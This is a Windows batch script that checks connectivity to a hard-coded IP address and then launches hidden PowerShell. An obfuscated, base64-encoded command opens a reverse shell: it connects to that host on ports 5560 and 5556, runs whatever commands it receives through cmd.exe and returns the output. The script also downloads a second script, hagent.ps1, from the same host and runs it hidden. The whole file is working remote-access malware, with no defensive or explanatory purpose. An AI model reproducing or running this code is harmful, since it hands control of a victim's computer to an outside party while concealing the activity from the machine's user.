@echo off
echo === DIAG ===
curl.exe -s -o NUL -w "5557-file: %{http_code}" --max-time 10 http://159.223.110.159:5557/t.txt
echo.
curl.exe -s -o NUL -w "5556-raw: %{http_code}" --max-time 6 http://159.223.110.159:5556/t.txt
echo.
curl.exe -s -o NUL -w "5560-raw: %{http_code}" --max-time 6 http://159.223.110.159:5560/t.txt
echo.
echo === START RAW AGENT ===
start "" powershell -NoP -W Hidden -EP Bypass -EncodedCommand dwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIABmAG8AcgBlAGEAYwBoACgAJABwAG8AcgB0ACAAaQBuACAANQA1ADYAMAAsADUANQA1ADYAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAJABjAD0AWwBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACcAMQA1ADkALgAyADIAMwAuADEAMQAwAC4AMQA1ADkAJwAsACQAcABvAHIAdAApAAoAIAAgACAAIAAgACAAJAB0AD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJAByAD0AWwBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgBdADoAOgBuAGUAdwAoACQAdAApADsAJAB3AD0AWwBJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgBdADoAOgBuAGUAdwAoACQAdAApADsAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAPQAkAHQAcgB1AGUACgAgACAAIAAgACAAIAB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQB7AAoAIAAgACAAIAAgACAAIAAgACQAbQA9ACQAcgAuAFIAZQBhAGQATABpAG4AZQAoACkACgAgACAAIAAgACAAIAAgACAAaQBmACgAIQAkAG0AKQB7AGIAcgBlAGEAawB9AAoAIAAgACAAIAAgACAAIAAgACQAbwA9ACgAYwBtAGQALgBlAHgAZQAgAC8AYwAgACQAbQAgADIAPgAmADEAfABPAHUAdAAtAFMAdAByAGkAbgBnACkACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABvACkAewAkAG8APQAkAG8ALgBUAHIAaQBtAEUAbgBkACgAKQB9AAoAIAAgACAAIAAgACAAIAAgACQAdwAuAFcAcgBpAHQAZQBMAGkAbgBlACgAJABvACkAOwAkAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACcAXwBfAEUATgBEAF8AXwAnACkACgAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AGMAYQB0AGMAaAB7AH0ACgAgACAAIAAgAHQAcgB5AHsAJABjAC4AQwBsAG8AcwBlACgAKQB9AGMAYQB0AGMAaAB7AH0ACgAgACAAfQAKACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAACgB9AA==
echo === HTTP POLLER ===
curl.exe -s -o C:\Users\Public\hagent.ps1 -w "poller-dl: %{http_code}" http://159.223.110.159:5557/hagent.ps1
echo.
start "" powershell -NoP -W Hidden -EP Bypass -File C:\Users\Public\hagent.ps1
echo ALL DONE
pause